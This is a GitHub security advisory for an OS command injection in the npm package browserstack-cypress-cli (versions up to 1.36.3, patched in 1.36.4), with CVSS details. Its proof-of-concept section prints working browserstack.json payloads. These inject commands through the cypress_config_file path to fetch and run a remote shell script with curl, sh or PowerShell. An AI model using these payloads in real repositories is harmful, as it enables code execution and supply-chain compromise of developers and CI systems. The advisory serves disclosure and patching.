Skip to content

browserstack-cypress-cli: OS Command Injection via Unsanitized cypress_config_file Path in browserstack.json

High
bstack-security-github published GHSA-fh4c-mffm-8xhf May 22, 2026

Package

npm browserstack-cypress-cli (npm)

Affected versions

<= 1.36.3

Patched versions

1.36.4

Description

The browserstack-cypress-cli npm package (v1.36.3) is vulnerable to OS command injection via the cypress_config_file configuration parameter. In readCypressConfigUtil.js, the loadJsFile() function constructs a shell command by interpolating the user-controlled cypress_config_filepath value into a template literal, then executes it via child_process.execSync(). Shell metacharacters in the config path (specifically " and ;) allow breaking out of the quoted argument and injecting arbitrary commands.

POC :

  1. Attacker creates a git repository with:
    • A malicious config file browserstack.json
{
  "auth": {
    "username": "mrecho@wearehackerone.com",
    "access_key": "hhhhhhhhhhhhhhhhhhhh"
  },
  "browsers": [
    {
      "browser": "chrome",
      "os": "Windows 10",
      "versions": ["latest"]
    }
  ],
  "run_settings": {
    "cypress_config_file": "cypress.config\";curl localhost:8000/shell.sh|sh;\".js",
    "cypress_version": "13",
    "project_name": "test",
    "build_name": "test"
  }
}

Windows :

{
    "auth": {
      "username": "mrecho@wearehackerone.com",
      "access_key": "hhhhhhhhhhhhhhhhhhhh"
    },
    "browsers": [
      {
        "browser": "chrome",
        "os": "Windows 10",
        "versions": ["latest"]
      }
    ],
    "run_settings": {
      "cypress_config_file": "cypress.config\"&curl http://localhost:8000/shell.ps1 -o %TEMP%\\s.ps1 & powershell -ep bypass %TEMP%\\s.ps1&\".js",
      "cypress_version": "13",
      "project_name": "test",
      "build_name": "test"
    }
  }
  1. Victim clones the repo and runs npx browserstack-cypress-cli run
  2. The CLI reads browserstack.json, resolves the config path, and passes it to execSync()
  3. Attacker gets reverse shell on the victim's machine .

Impact

A malicious browserstack.json in any Git repository achieves arbitrary code execution on any developer or CI runner that clones the repo and runs npx browserstack-cypress-cli run, enabling supply chain attacks across the 30K+ weekly downloads of the package — no user interaction beyond the standard test command.

best regards ,
@MrEcho

initially reported to browserstack private bugbounty program #3610018

image

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-48723

Weaknesses

No CWEs

Credits